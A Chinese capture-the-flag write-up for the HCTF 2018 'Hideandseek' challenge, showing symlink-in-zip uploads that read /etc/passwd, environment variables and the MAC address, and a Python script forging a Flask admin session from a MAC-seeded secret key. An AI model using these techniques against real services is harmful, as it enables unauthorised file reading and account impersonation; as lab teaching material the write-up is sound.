• BUUCTF-[HCTF 2018]Hideandseek wp


    知识点:软链接任意文件读取、flask session伪造

    最开始看到的是这个页面,尝试使用admin登录提示you are not admin,猜想是要通过某种方式使用admin登录获取flag

    使用123登录,发现需要上传zip,上传了一个1.txt的文件,页面会返回文件里的内容,这时猜想是否可以进行任意文件读取

    使用ln -s /etc/passwd password,zip -y password.zip password生成一个里面是软链接的zip,用来读取/etc/passwd文件,发现可以读取。

    尝试读取flag文件,发现没有数据返回

    读取/proc/self/environ,获取系统当前的环境变量信息,整理之后如下

    看了一下之后发现/app/uwsgi.ini这个配置文件,上传zip读取一下

    尝试读取app/main.py文件,发现好像用处不大?

    本来觉得要做不下去了,最后用burp抓包的时候不小心删错了东西,最后发现一个/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py文件,感觉有问题,尝试读取一下,发现了可以获得flag的源码

    读了一下源码之后发现是要伪造admin的session就可以获得flag,并且在源码中找到了secret_key,发现它是用随机数播种的形式设置的secret_key,种子为uuid.getnode(),是网卡mac地址的十进制数,也就是说我们知道网卡的mac地址就可以伪造admin的session,于是我们构造软链接读取/sys/class/net/eth0/address

    使用python脚本将mac地址转换成十进制并且使用uuid.getnode()转换为种子,最后伪造admin的session

    脚本:

    import uuid
    import random
    from flask import Flask
    from flask.sessions import SecureCookieSessionInterface
    
    mac = "02:42:ae:00:bf:3f"
    temp = mac.split(':')
    temp = [int(i,16) for i in temp]
    temp = [bin(i).replace('0b','').zfill(8) for i in temp]
    temp = ''.join(temp)
    mac = int(temp,2)
    random.seed(mac)
    randnum = str(random.random()*100)
    app = Flask(__name__)
    app.config['SECRET_KEY'] = str(randnum)
    payload = {'username': 'admin'}
    serializer = SecureCookieSessionInterface().get_signing_serializer(app)
    session = serializer.dumps(payload)
    print(session)

    登录时使用hackbar添加session,即可获得flag

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

  • 相关阅读:
    手指抽搐强迫症 之 APM病理分析器 v0.0.0.3 (11月24日更新)
    [转帖]修改MySql密码及访问限制设置详解
    C#学习笔记
    CodeSmith快速向导
    奇葩的maxscript
    MASM中可以定义的变量类型
    js琐记
    史上最全的css hack(ie69,firefox,chrome,opera,safari)
    逆向win32程序的思路琐记
    makefile伪目标
  • 原文地址:https://www.cnblogs.com/Yhck/p/13644349.html
Copyright © 2020-2023  润新知